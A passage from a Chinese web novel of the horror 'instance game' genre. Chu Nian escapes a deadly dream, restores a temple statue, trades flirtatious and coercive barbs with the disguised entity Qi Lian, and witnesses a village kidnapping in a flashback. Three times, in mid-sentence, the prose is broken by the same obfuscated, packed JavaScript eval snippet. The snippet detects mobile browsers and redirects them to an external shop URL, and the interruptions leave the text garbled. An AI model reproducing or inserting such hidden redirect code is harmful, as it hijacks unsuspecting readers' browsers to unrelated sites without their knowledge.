他警惕的拉着小徒弟的手站起身,然而旁边的小徒弟已经变成了尸体,被他这么一拽就拽下一只手臂,像泄气的气球软塌塌瘫软在地上。 “楚念——”他下意识向楚念求助,而帐篷里空空如也,从头到尾都没有她这个人—— 霍敏被柯泽尖叫的声音唤醒,打开帐篷便看见他跑了出去。她不敢贸然上前,回头想找楚念求助,却被她一把掐住脖子,“如果不是你擅作主张,我怎么会遇到这些?还要我赌上性命救你,你凭什么?你这个拖油瓶早就该死了!” …… 明亮灯光的大殿里一片静谧。 每个人都昏睡其中。原本已经离开的阿寺不知在何时折返,坐在神像脚下的高台上冷漠俯瞰着陷入梦境的众人。 与此同时,还在等着祁连直播间开通的观众此时纷纷在粉丝群里讨论—— :「这都到第二天晚上了吧?屠皇怎么还没出来?反正直播间也关闭了,完全可以直接结束了」 :「你以为是屠皇不想结束?他们这个团里有高人,到现在存活人数还是五」 :「你说的应该是拿桃木剑那个道士吧?@神明世界官方怎么还允许专业人数下场,给我屠皇打坏了,你下场杀给我看?」 :「呜呜呜呜他俩之后在帐篷里又干什么?求求了,我真的很急!」 :「别慌,已经后半夜了,现在应该所有人都进入屠皇的梦魇了,再有高人也得团灭」 :「好遗憾,很久没见到深牢山的旅行团能进行到第二夜了,结果不让播了」 :「话说真的有玩家能通关千山庙吗?我现在都不明白这三天两夜除了杀戮,还有什么」 “阿寺”一只脚踩在高台上,神色漠然的目送着柯泽起身走向水塘的背影。 不出一炷香,这些人应该就都要死了。 他百无聊赖的打了一个哈欠,扫到搭在角落的帐篷,不自觉想到楚念。 她会被什么样的梦境困住呢? 他从不窥伺玩家的梦,对他而言都是无用的东西。可他第一次对人感兴趣,望着大局已定的大殿里,悄无声息离开了“阿寺”的身体,进入了楚念的梦境。 他一直以为像她这样的“高人”应该会被更恐惧的梦魇困住,然而她只在梦里重复经历“祁连”在她眼前死去的场景。 祁连难以置信的看着她在梦境里,一遍一遍企图从雨夜屠夫手里救下他。 “不要献上你的手臂,我有办法杀掉他,你不要为我牺牲。” 祁连不知道她已经重复了多少次,此刻的她看起来已经精疲力尽。因为在梦魇里精神力和体力也会一样被消耗,根本不需要任何手段,她就会因为想要救他这件事被耗死。 梦境的“他”显然已经发现了,在故意耗她的体力和精神力,无论她重复救他多少次,他都会走向为她牺牲的结局。 她马上就要死了。 梦境里的“他”察觉到他的窥探,向他透露出一个信息。 最后一次,楚念的精神力和体力双双降到五以下,整个人彻底陷入绝望之中,望着毅然要为她牺牲的“祁连”,靠在墙壁上无声的眼泪:“你为什么一定要为我死呢?” 他听到梦境里的“自己”虚伪的回答道:“因为我想让你活。” “可是用你的生命延续的生命到底算什么?”她笑着摇了摇头,闭着眼睛,等待着雨夜屠夫的斧头。 她救不了他,准备和他一起死。 然而雨夜屠夫并没有如她想象中一样到来,反倒是在下一层走廊死活不肯跟她走的祁连,缓缓蹲在她面前,神色颇为复杂。 她欣慰的笑了笑:“你终于改变主意决定和我一起走了吗?可是这次我好像走不了了。” 她连推他的气都没有了,“你快点儿走吧,这次用我的生来换你的生。” 说完就头一偏,昏睡了过去。 梦境里的“他”再次出现在她的身旁,露出满是獠牙的笑容,将手伸向她的脖子,然而未等“他”碰到,真正的祁连已经捏碎“他”的脑袋,爆出一团粉雾。 她的精神力和体力都将至零。 哪怕是刚刚化形的小鬼都能轻易要了她的命,可是他什么都没做,单手将她从地上抱起,向着他之前在民宿住得房间走去。 这自然不会是副本里真实的房间,但是里面的陈设都和真实的相似。 他单手托抱着她在落地灯下的沙发坐下,扫过她逐渐红润的脸色和上升的体温,仿若未闻翻阅着手里的书。 她是要死的,但不能被耗死在这样的事里。 说出去,也太丢他的人了。 …… 楚念意识逐渐清醒,隐隐感觉到有一股力量钳制在身上,想要拿开,却发现自己动不了了。 鬼压床—— 对于这种事她早有经验,连着刺激了几次自己的咽喉反射,猛的从梦中惊醒,醒后她便不敢再睡了。原本睡在她旁边的霍敏不知道去了哪里,帐篷里除了她再无别人。 她闭上眼睛平复心绪。 后知后觉发现大殿里回荡着招魂才会用的铃铛。 这是……发生了什么? 楚念猛的掀开帐篷,只见小徒弟独自站在大殿门口,手里高举着招魂的铜铃,心急如焚对着外面张望。 柯泽、崔敏、苏雪像是在举行着某种古老的敬神仪式,一步一拜高举着双手,向着院子里的池塘走去。 走在最前面的柯泽,大半身子已经没入池塘之中,嘴里念念有词,“献祭,向神明献祭。献上你的头颅,献上你的双手,向神明献祭。” 楚念虽然也跟着师父做过一些法事,但对于接受过九年制义务教育的人而言,这一幕极为荒诞。 她一把拿过小徒弟手里的三清铃,猛的摇晃起来。 然而原本清脆的铃声在她手里发不出任何声音。 和那把桃木剑一样都是她无法使用的道具。 她立刻塞回到小徒弟手里,反握着他的手腕剧烈摇晃。 小徒弟摇得清脆间断的铃声顿时变得急促蓬勃,原本向着池塘叩首走去的人,忽然缓缓转过身,向着大殿里走来。 小徒弟一头雾水,回头看到是她,险些一嗓子嚎出来。 呜呜呜—— 大佬醒了,有救了! 师父死了,他不过只是一个刚入门的菜鸟,这个铃铛也是从师父的遗物里带出来的。他不知道该不该这么用,但是总比什么都不做好。 楚念握着他的手摇得越来越快,忽然矮下身,吐出一口鲜血。 小徒弟吓了一跳,连忙蹲下身:“大佬——” 楚念的手摇得更快了,全然盖过了小徒弟说话的声音,识趣的闭上了嘴。 这一定不是导游小姐。 这个副本里还有比导游小姐和雨夜屠夫更强大的力量。 纵使是她也被吓出一身冷汗。 此刻,那个力量并没有出来干预她,但也不像是被她的力量所压制,全然看不出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17036049|194192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想干什么。 小徒弟手里的铃铛用力一敲。 走在队伍最后面的柯泽猛的惊醒过来,看见自己站在池塘里,什么都没问,连滚带爬回到岸边。 铃铛又是一响。 霍敏猛的睁眼,双脚一软,晕倒在了地上。 第三声铃响。 苏雪发出一声惊叫,坐在地上倒退着指向楚念:“你到底是什么东西——” 楚念仿若未闻松开手,缓缓在门边坐下,微丰的唇瓣泛着与脸色截然不同的艳丽。 柯泽缓缓回过头,脸上全是未知的泪水,“我的任务完成了——” 他找到那些失踪的人了,可是结果不尽如人意。 楚念平复着呼吸等着他继续说下去。 小徒弟上前,用手电往池塘里一照,吓得一屁股跌坐在地上。 “啊,是骨头——” 整整一池都是,白日里不显,到了夜里,原本浑浊的池水透着幽深的碧绿,累积在池底的白骨清晰可见。 柯泽用力在脸上擦了一下,起身向着大殿里走来:“我可以决定是否还要追查真凶,并且有权利决定是否要封锁这里。” 楚念迅速明白过来。 他拿到的身份更像是警察,并非是政法大学是一名普通学生。 “如果你确定放弃追查真相,并且决定封锁这里,你是不是就可以离开这里了?”楚念问道。 “不知道,”他神色有些犹豫:“但是从字面上来看是这样的。” “恩,”楚念点了点头:“做你觉得对的决定,不用问我的意见。” “你封锁了这里以后,我们呢?”苏雪问道。 没有人回答。 因为他任务的完成,可能也在宣告她们失败。 “不,”柯泽抬手道:“我是觉得这个事情不会这么简单,我想听一听你的直觉。” 她的直觉。 楚念抬眸望向山门外,“不要放弃,如果你放弃了这里的真相就会被彻底掩埋,永远都不会再有人知道这里发生了什么,被困在这里的人,也永远都走不出去。” 柯泽不知道她看见了什么,但是她一定知道他们不知道的东西,深吸了口气,“我明白了。” 楚念神色悲悯。 她从发现自己能看到别人看不到的东西,就时常提醒自己不要过多卷入别人的命运。她也试过逃跑,读普通的学校,对「祂」们视而不见,像每个普通人一样生活。可是事实证明,无论她如何选择,最终都会被卷入其中。 山门外的“女司机”和“服务生”在听到她的话以后,就无声无息的消失了。 楚念回到石台前,发现阿寺已经死去的多时,根据柯泽初步的推断,他应该是死于血管爆裂而亡,死亡时间至少在二十小时以上。 “所以,他在民宿的时候就死了?”苏雪难以置信:“那和我说话的人是谁?” 答案自是不言而喻。 苏雪后怕的生出一声冷汗,幸好没有听「祂」的挑唆。 楚念丝毫不觉得意外,示意小徒弟帮忙,把阿寺的尸体抬下来以后,便端详起面前的神像。 柯泽好奇道:“你在看什么?” “修复这尊神像。” 苏雪心急的张了张唇,“我刚刚就是修复石壁的时候,突然入梦的,那梦里的滋味——” 她至今都不想再回忆第二次。 “我劝你再想想。” 柯泽也想起了自己的梦境,具体是什么内容他忘了,但是那股绝望挥之不去。 盯着另一侧小姑娘的尸体道:“她死时的状态应该也是在准备修复神像的时候,突然入梦,然后被困死在梦中的。” 小徒弟同样忧心忡忡,如果不是他在梦中被师父呵斥了一声,他可能也要被困死在梦里了。 “高人,三思啊。” “我在梦里看到有很多人在朝拜它。”楚念抬头凝视着那尊神像:“可是有股力量在阻止我窥探它。我觉得这个副本的关键,应该就在这尊神像上。” “那你的意思是,那股力量也在阻止我修复壁画?” “不排除。” 12.庙 宇 “可是……”苏雪仍然心有余悸。 楚念没有回答,只是平静和她对视。 前者什么都没说,苏雪却看出一股决绝,事已至此,恐惧无用,退缩无用,唯有向前。 “好,好吧。”苏雪也终是认清现实,拉着小徒弟的手道:“小师父,你一定要时刻盯着我,一看我要入梦了,就赶紧把我叫醒。” 如今专门负责修复的玩家已经死了,柯泽不得不和楚念一起扛起大旗。 在碰到修复的工具箱时,楚念的系统弹出提示:「检测到修复师玩家已死亡。现在可为您免费升级技能,您是否愿意?」 楚念此刻才意识到那个死去的女孩,应该也和她一样是美院的学生。 她点击了「确定」。 系统:「现已为您升级技能,现在您是否确定重塑神像?」 「确定」 系统:「你准备按照什么时期重塑神像?(只有一次选择,请谨慎选择)」 果然还是要配合。 楚念看向正在修复壁画的苏雪,苏雪不明所以:“你看着我干什么?” “壁画不出,神像修复不了。”楚念问:“你这个需要多久?” 苏雪看了一眼系统的时间:“至少两个小时。” 楚念眉头微皱:“等不了了。” 那股力量不知道什么时候又会出来阻止她们。 小徒弟得知缘由推测道:“应该是晚唐时期的吧?” “我觉得可能是宋朝的。”苏雪根据壁画上零零散散的内容推测。 楚念回忆着自己在梦中看到的场景。 决定赌一把,选了「西夏」。 系统很快给出了拼图,让她在虚拟的屏幕上进行拼凑。 楚念:“……” 硬着头皮动了动手,眼前的神像立马肉眼可见修复了一处。 其他人被吓了一跳。 楚念看着屏幕上有限的时间,并没有向其他人解释。所幸她记忆里不错,只错了几次,就把神像拼出一个大概。 一尊西夏时期的男神观音像顿时呈于眼前。 苏雪忍不住感叹道:“他真美……” 双手忍不住合十朝拜。 系统:「神像修复已经过半,可是总觉得还差点儿什么……」 颜色。 楚念终于明白她原本的技能是做什么,放大神像在屏幕上的脸,开始描眉画眼。 这时,她发现神像笑了,下垂的眼睑微微抬起,隔着屏幕看了她一眼。 她顿时生出不祥的预感,不等作出反应,就被拉入另一个场景—— 神像高悬。 手持长枪的将军,丰神俊朗,光是站在那儿就透着一股威风凛凛。 周遭灯光通明,没有一丝破败落寞,反而透着一丝不容亵渎的肃穆神圣。 她跪在神像前,仿佛犯了什么弥天大错。 神像下坐着一个风流倜傥的少年,他肩上斜披轻薄的帔帛,健硕有力的胸膛垂挂着连珠式璎珞,一只手搭在踩在石台的膝盖上,一只腿随意垂在石台下,狭长漂亮的丹凤眼自然垂下,俊美冷冽的面容在烛光的映衬下透着如玉的温润,“你喜欢这个样子的?” 祁连。 楚念怔怔的望着他,她之前所有的猜测都是正确的。他就是藏在玩家当中的「祂」,只是不知道什么原因没有让他对她们大开杀戒。 他走下神台,赤脚踩着光可鉴人的石板上,半蹲在她面前,托着她的下颚抬起:“好手段,让我在你的梦境里待了那么久。” 不然哪轮得着她做这么多事? “我还是小看你了。”他托着她的手指缓缓落在她的颈脖。 她仿若未闻的捧着他的脸。 一滴泪缓缓从她眼眶掉落。 “男朋友,是你吗?” 他握着她的手指一紧,脸上泛起一丝戏谑的微笑。 又来。 “怎么了?”她不解的望着他,“我好想你啊。” “少来,”他冷笑出声,“你现在还看不出我是什么吗?” 她当然知道他是什么,但是她也铭记着那个弹窗在最开始给出的提示——『不要让 「祂们」知道你已经发现 「祂」了!』 楚念捧着他的脸,靠在他的肩上:“你都不知道你走了以后,我这一路有多辛苦。路上全是乱石,山顶还有大雾,下来的栈道还年久失修,我差点儿就摔到旁边的悬崖下面去了。” 祁连不知想到什么,忽然笑了,“少装了宝贝,他们这一路全靠你撑着。你可没你自己想得那么柔弱。” 她仿若未闻,微微抬起头道:“抱抱。” 祁连:“……” 他还是对她太温柔了。 不该救她的。 他的后槽牙微微咬紧,“不抱。” 她委屈更甚,主动环住他的脖子,“冷。” “呵,”他托着她的脖子,将她和自己拉开距离:“以为这样拿捏到我了?” “拿捏你什么?”她不解更甚,“你不爱宝贝了。” 祁连很难不怀疑,她是在看透他的恶劣以后,故意用这个词恶心他。 他自然也不是省油的灯,冷笑着松开钳制她的手指:“怎么会呢?宝贝,既然我这么爱你,你也应该为我做点儿什么吧?” 楚念嘴唇微张,然而他并没有给她说话的的机会,薄唇微启:“脱。” “脱什么?” 他盯着她外套的拉链不语。 她猛的捂在胸口,“我都和你说冷了,你不抱我就算了,还让我脱?你果然不爱我了。” “爱啊,”他唇角含笑,“可宝贝也要证明自己爱我才行。楚念,对吗?” “可是我好冷啊……” “到我怀里就不冷了,”他唇角恶劣更甚,“等你脱完了,我就抱你。” “好吧,”她似乎没有感觉到他的坏心眼,“可是在这不好吧……” 她面露敬畏的看了一眼神像。 “还是不愿意。”他故作失落,“那……” “没有。”她仿若不想看他失望,主动脱下了身上的外套:“我只是觉得地点不合适,没有不愿意。” 他并不动容,“然后?” 她依旧心存顾虑,时不时瞟向身后的神像,缓缓拉起自己恤衫的衣摆。 他认定她会玩花样,眼睛都没有挪一下。 楚念抿了抿唇,“男朋友,你那些片真的不能再看了,不是在公交车里,就是在……“ “少找借口。” “你看得什么是在……”她不知把他想成了什么人,越发难以启齿,连带着看他的眼神也开始躲闪。 祁连没心思再和她耗下去。 “行了。” 她握着恤衫的手立马放了下来,“什么行了?” “谁要看你那个了?”他恶意更甚,眉梢微挑:“坐下。” 楚念看出他的不安好心,但是一时之间也找不到更好的方法,只能依言坐下。 “把腿分开。”祁连眉梢又是一挑,那张清冷俊美的脸,顿时邪气丛生,全然一副浑不吝的姿态。 楚念连连点头,好好好,这么玩是吧? 她强忍着扭断他脖子的冲动,不管是她现在的体力和精神力,还是所处的环境,都不适合和他硬碰硬。 还不到和他鱼死网破的时候。 她支起的膝盖缓缓分开。 见她迟迟没有下一步的举动,他微垂着眼睑:“要我来吗?” “不用,我自己来。”她顺着他的视线,缓缓抚摸着腰上的纽扣,解开了来。 他没想到她居然就这样同意了,深邃的眉宇间流露出一丝诧异。 更没想到,她肚子上肌肤竟然如此白皙柔软, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17040201|194192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只是掀起衣衫不经意露出的一小块,便留住了他移开的视线。 她的手缓缓继续牛仔裤的拉链上。 他的视线也顺着她的手指往下。 忽然,大殿里响起微弱的铃声,断断续续,一声接着一声。 身后紧闭的大门也不知道何时打开了,透出一条缝。她不经意往后挪去,拉链快要拉完的时候,忽然往上一带,系上散开的纽扣,往门外跑去。 他却早有准备,一把擒着她的后颈,将她摁进了下一层梦境。 “哎哟——”楚念已经做好了磕得头破血流的准备,不曾想却被摁进一个柔软的若在。祁连已经穿回了之前那套冲锋衣,扣着她的后颈,骑跪在她的后腰。 他就知道。 可是楚念也不是省油的灯,抬手摸上他跪在自己身侧的大腿:“男朋友,你这是干什么?太凶了吧。” 他眼睑微垂,拎着她的手放到一旁。 楚念却顺势反握住他的手,“你都骑在人家身上了,还不能让人家摸一下?” 他看出她的虚张声势,冷笑出声,“摸腿有什么意思,往上摸。” 他一边说话,一边领着她的手指向上。 原本以为她会躲闪,不曾想她就由着他引领。他手腕一顿,冷声讥讽道:“你还真想摸啊?” “毕竟你也算有几分姿色,”后颈的禁锢松了一些,她不经意的回头打量四周,“我不吃亏。” 祁连被她气得直笑,没好气的松开她起身,“你还真是癞蛤蟆吃天鹅肉,什么都敢想。” 楚念立刻翻身坐了起来,他们又回到了她搭在民宿里的帐篷里,身下压着的是她的睡袋,头顶悬挂着明晃晃的露营灯,看起来一些都是那么温馨惬意。 然而帐篷外面却全然不是这样,群山和民宿都不见了,只有伸手不见五指的黑,仿佛随时准备着将她吞噬。 “你老老实实待在这里,我不会拿你怎么样。”祁连掀开帐篷的门,准备出去。 忽然,他感觉脖子一紧,一股强有力的力量,从后锁住他的脖子,悬挂在他的身后,带着他往地面倒去。 他并不把她的力量放在心上,试图往前冲摆脱她的钳制,不曾想,却被她借力,一个过背,甩在睡袋上。 祁连后脑勺着地,被甩得晕头转。她趁机骑乘在他的腰上,双膝跪在他的肋骨两侧,依旧保持着对他脖子的控制,准备时刻对他进行绞杀。 “不想被扭断脖子就别动。”她俯趴在他的胸口警告道。 他尝试着活动了一下,随即便明白这不是一句空话。 她真的准备着扭断他的脖子。 祁连没想到她还有这一招,强压着心底的愤怒,笑道:“没关系,你喜欢这个姿势,就保持这个姿势吧。” 楚念知道大殿里恐怕也不会太平静,但是也没有暴露过多的担忧,若无其事调笑道:“只是我喜欢吗?你难道就不喜欢吗?” 她刻意挪动着腰,在他腰腹上蹭了蹭。 神色无辜的提醒着他。 他神色有刹那的微妙。 耳朵不可控的开始泛红,“下去——” “往哪儿下?”她恶劣的又往下蹭了蹭,“这儿吗?” 他耳朵赤色更甚,用充满警告性的眼睛直直盯着她。 他并不受她的威胁,只是不想在她身上平白耗费力气而已,但她敬酒不吃吃罚酒,也由不得他。 楚念也发现他要动真格了,逐渐有些控制不住他,短暂思索了两秒钟,忽然狠狠亲在他的嘴唇,借此压制他企图摆脱的头颈。 祁连恼怒更甚,张唇露出尖牙,狠狠对准她的嘴唇,不料她柔软的舌尖却顺势而入,安抚温软的舔了舔他的舌。 “别这么凶。” 他的思绪有刹那的空白。 凸起的喉结微微滚动,原本已经碰到她唇瓣的尖牙,不自觉收了回去。 13.修 复 庙殿里,小徒弟扫到向梯子上爬去的楚念,惊呼道:“大佬,你干什么?你别吓我啊!” 楚念目光呆滞,全然听不到他在说什么,拿起随身携带的除尘刷扫着神像上的灰尘。 “这是入梦了吧?”苏雪忧心忡忡问。 “怎么会?”柯泽全程都在她的旁边,完全没有发现异常:“这如梦的条件到底是什么?” “铃,铃。”小徒弟顾不得分析缘由,连忙掏出包里的三清铃。 这时,门外忽然有一束灯光照进来。 守在姻缘亭的老太太缓缓走进来:“你们怎么这么晚了还在这里?这里不允许游客过夜的。” 三人都被吓了一跳,但是很快又冷静下来。柯泽主动上前道:“老人家,我的朋友是文物修复师,可以免费帮你们修复这尊神像……” “泥身塑像有什么用?”老太太打断道:“神早就死了,这里只有挖人心肠的恶鬼而已。你们还是快点儿走吧。” “可是……” “铃——” 小徒弟躲在身后后面,轻轻摇了摇铃,不料窗外同时一道惊雷闪过。 原本老态龙钟的老太忽然变成四肢着地,发出一声凌厉的猫叫,寻着铃铛的方向扑去—— ** 帐篷中的两个人就这样无声凝视着对方。 直至帐篷外再度有铃声响起,祁连才意识到不对劲,但为时已晚,她不知何时在他身后写下了一道符咒,使得他无法动弹。 她装模作样的叹了口气,起身走到帐篷门口,又“念念不舍”折返回来,在他嘴唇上轻轻碰了两下,“男朋友,好好待在这儿,我不会拿你和你的神像怎么样。” 祁连试图冷笑,却做不出什么任何表情,只能眼睁睁送她离开。 ** 楚念寻着铃声的方向,看到了黑暗中亮着光的民宿,一走进去,便从梦中幻相挣脱,回到了真实的副本里。 她不知何时爬到了神像前的梯子上,神像那双半睁半垂的眼,近在咫尺。 神像戴着臂钏和手镯的手搭在支起的膝盖,斜披在肩上的锦帛栩栩如生。 在石台下时,并不觉得这尊石像如此庞大,此刻却充满了压迫感。 原本应该庇护世人的神明,怎么会变成吃人的怪物? 楚念盯着神像出神时,身后陡然传来小徒弟的尖叫。一个枯瘦如柴的老太太似猫般趴在地上,抓掉了小徒弟手里的铜铃,并向着他的脖子扑去。 楚念立刻将手里的除尘刷丢了出去。 老太太顿时发出一声惨叫,叼起地上的铜铃,蹲在门边用手蹭了蹭脸。 除了昏迷的崔敏,其他三人身上都有不同程度的抓痕。 尤其是柯泽,脖子上还残留着鲜红的咬痕。 这老太太,不就吃她几桶方便面,也不至于下这么狠的手吧? 老太太也看见了她,深知她不是一般人,立刻变回人形,慢吞吞拾起掉落在地上的手电筒,“这座庙里早就没有神了。你们重新就算修复这尊神像,能请来的也只有装神弄鬼的邪物而已。” 她装模作样向着门外走去,“我也不计较你们偷东西的事,只要把许愿币给我结清就行了。你们以后别随便偷——哎哟!” 楚念摁着老太太的后颈,将她压倒在石板上。 老太太立马挣扎起来,发出惨烈的猫叫。楚念全然不为所动,如一座山石压在老太太身上,“这座庙里供奉的到底是谁?” 老太太回头瞅了她一眼,顿时吓得又是几声惨叫,结果换来的是更用力的压制,立马老实起来,指着庙殿的横梁:“蛟龙啊!这里供奉的都是蛟龙的骨架!” “我问你这尊神像是谁?”楚念没有时间和她耗了。 “死去的蛟龙啊,”老太太也有些茫然:“这里之前供奉的也是龙王。我刚才就想说了,你们修复错了,这里从来不是菩萨庙,是龙王庙!” “不是,”楚念斩钉截铁:“这里以前供奉的是一个将军。” 不止是老太太,其余三个人都愣住了。 他们来时的石碑明明介绍了关于这座庙的来历,怎么会冒出一个什么将军? “怎么可能?”老太太喊道:“从我有记忆开始这里就是龙王庙!只是神明消失以后,这里就被一些孤魂野鬼占领!顶着神明的名头招摇撞骗!你们帮「祂」修复神像就是在助纣为虐!祂会把我们都杀死的!” “那外面的姻缘树是什么意思?” “当然是为了招揽游客!” “雷劈我是什么意思?” “说明你许愿的人并不满意,并不想和你天长地久。” “你在撒谎!”楚念斩钉截铁:“如果只是求财的话,你在山脚下卖什么不挣钱?偏偏要费大劲留在这种地方?你在守护这座庙,你在供奉「祂」!池塘里的尸体都是献祭,对吧?” 老太太没有回答。 楚念又道:“雷之所以劈我,是因为我亵渎了你们的神。” “你们?”柯泽顿时警惕的看了看四周。 “她一个人是做不了这件事的,”这么一大块以山为界的凶地,怎么可能是她一个人的力量可以撑起来,“你们讨厌游客来到这里,但是又需要游客供奉你们的神明。” 楚念越来越好奇这里发生了什么,缓缓松开钳着老太太的手:“我会修复这座神像。” “你们修复了什么样的神像,就会修复什么样的机缘!我说过了,你们选错了!再执迷不悟下去,我们都会死!”老太太紧握着铜铃,“你会把所有人都害死!” “你们供奉祂,又畏惧祂。”楚念顿时来了兴趣,“为什么?” “没有人在供奉祂……”老太太欲言又止,“也没有人畏惧祂。” “那……” 不等她问出,老太太已经跑得没影了。 “高人,你没事吧?”小徒弟惊魂未定坐起身道:“你刚才可把我们吓坏了。我一看你就是如梦了,偏偏那老太太一直阻止我摇铃……” 难怪那铃声断断续续。 “谢谢,如果没有这个铃声,我可能真的还回不来了,”楚念捡起除尘刷道:“我要继续修复神像了,你们准备好了吗?” 柯泽面色凝重的深吸了口气,“恩。” 小徒弟也点了点头。 苏雪望着即将修复完成的壁画,知道开弓没有回头箭,只能寄希望于楚念,“继续吧。” 还剩下最后几笔,楚念不能再在系统上修复,拿出携带的画笔,向着梯子上爬去。 昏睡的崔敏忽然从帐篷里探出头,“小念,不要修复那尊神像。” 她感觉自己的体力在迅速下降,不等楚念回答,从怀里掏出一个小包,“这是我男朋友留下的手稿,他们一共来了六个人,最终根据壁画上的内容,确定这是晚唐时期的神像,并进行了修复。可是等他们修复完了以后,只在上面留下了一句话。” 楚念接过,句行分明的手稿最后只有潦草的四个字:不要修复! 原本已经下定决心的众人,顿时又陷入了两难的境地。 柯泽的脸上也出现了动摇。 “要不然,我关闭了这里,我们一起走吧。反正大家的任务都要完成了。”柯泽盯着逐渐重现的壁画,“我们只能做到这里了,等待下一批有缘人吧。” 楚念没有说话。 因为崔敏握着她的手,把最后一次治疗的机会给了她。 跟着便晕倒在楚念怀里。 “我还可以再扛一波,”楚念将崔敏重新放回帐篷里,“就算真的会出现吃人的恶鬼,我来解决。” “你这……”苏雪有些急了,“大家不是已经可以走了吗?你为什么要……” “走?你们分得清自己是在副本还是梦境里吗?怎么确定自己现在不是在另一个梦境?所谓的生不过是又一个引入你们走入池塘的陷阱?”楚念重新爬回到梯子上,用画笔蘸取着颜料:“我要修复这尊神像,不管里面住着什么,都得给我现原形。” 此刻,所有人终于明白,他们和高人的区别。 就像在一场考试中,学渣只想及格,活着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17049790|194192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就行,但是对于学霸,狼狈出逃,简直是在侮辱人。 而且楚念说的没错。 她分得清副本和梦境,但他们就不一定了。 柯泽也后知后觉意识到自己出昏招了,抬起手道:“我的体力和精神力都已经将到三十以下了,思绪可能没有之前那么清晰了。别听我的。” 苏雪咬了咬唇,也闭上了嘴。 楚念并不怪他们,想活着是人之常情,而且依他们的能力,确实只能做到这里了。 “放心,就算我解决不了这个副本,也一定让你们活着。”楚念在神像的唇瓣落下最后一笔。画笔放下的刹那,庙殿外狂风大作,瞬间将殿里的蜡烛吹灭了。 苏雪惊呼出声,猛的抱住了旁边的小徒弟。 小徒弟也害怕得躲到了神像身后。 寺庙门窗翻飞,倾盆的大雨瞬息而至。 楚念坐在梯子上,挡在神像低垂的眉眼前,神色严肃的望着殿外。 一片漆黑之中,几个人鬼鬼祟祟推开山门走了进来。 “村长,你不是说有办法吗?现在好了,村里的人都不相信我们了,那边的项目也推进不下去!现在两边都在骂我们,哎哟,当时就不该听你的!” “还不是因为马维那小子在那里和村民瞎说,说什么拆了祖神庙是要盖那种酒店,不然哪来这么多事!” “村长,你说句话啊!那个酒店我们可都是跟着你投了钱的,这要是推进不下去,人家可是不退的!” 几个男人七嘴八舌,只有中间的矮个子男人没说话。 忽然,矮个子男人做了一个噤声的手势,思索着吐出一句话:“你说,我们把那小子杀了怎么样?” “啊?马维那小子是不地道,但是也不至于杀人吧?” “他是肯定不会让那个酒店盖起来的,要不然我们投的钱打水飘,要不然……你们自己选吧。”村长丢出两个选择,蹲在一旁不说话了。 “你们说,马维那么坚决不让酒店盖起来,是不是那个酒店真的有什么问题啊?他看得东西多,见识的也多,说不定真能看出什么门道。” “你现在还替他说上话了?”村长气得不行,“人家那个酒店就是市里费劲千辛万苦招来的投资项目,特地为我们创造工作岗位的!既然你们也觉得那个酒店不该盖,那我也不管了!反正你们投得那个钱是不会退的!” “诶诶诶,村长,你别急啊!大家没说不盖,但是这杀人……大家都乡里乡亲的,他妈跟我妈还沾亲呢。” “就是,依我说,把马维捆到后面的山洞里,等事成了,给他放出来就行。到时候家家户户也分到了钱,酒店也不像他说的那种,这事不就过去了吗?” 村长没吭声,不同意,但是也没反对。 很快,他们就冒着雨拖进来一个穿着半旧西装的男人,丢进了庙殿后面的山洞里。 “咱每天留个人在这儿看着他就行了,最多十天半个月这事就过去了。今天晚上就我在这儿,你们都走吧。” 其他人听了他的话都走了。 他一个人生起火,对着昏迷的马维念叨:“你说,嫩好的事,你怎么就不同意呢?” “马大哥,”马维不知何时醒了,“这个酒店盖不得,你想想咱们这穷乡僻壤的,别人凭什么到我们这儿来投资酒店?肯定就是搞那些的。” 马大哥听烦了,“马维啊,不是哥不信你。就退一万步说,他们就是搞那个的,你别进去跟着搞就行了呗。人家村长都说了,那是变相给咱们提供工作岗位的。” “大哥,话不是这么说的,黄赌毒那个东西一碰,就是一辈子都回不了头了。” “有你说得那么严重?咱们就是出块地让他们盖酒店不就行了?好了,安心睡一觉,等事过了,哥就放你回去。” 楚念在殿里看不见他们,但是能清楚听到他们的声音。 余光扫过身后的神像,如果真的有神,那当时的神必然也听见了。 可是他们口中的祖神庙显然不在此处,这一切又能这里能有什么关系呢? 14.梦 魇 马维也认清时局,叹了口气:“大哥,你放我回去吧,我不闹了。” “维儿,你现在和我说这些没有用,等事情完了我自然就放你回去了。” “哥,这大雨天的,我媳妇儿孩子在家我不放心。你就让我走吧,我答应你,肯定不会再闹了。我反对也是为了大家好,但是听了你的话,我也想明白了,这事我不看好,不代表别人不看好。我在这儿觉得自己做对了,但是在人家看来,指不定挡了人家发财的路,你放心吧,出去以后,我一定什么都不说了。” 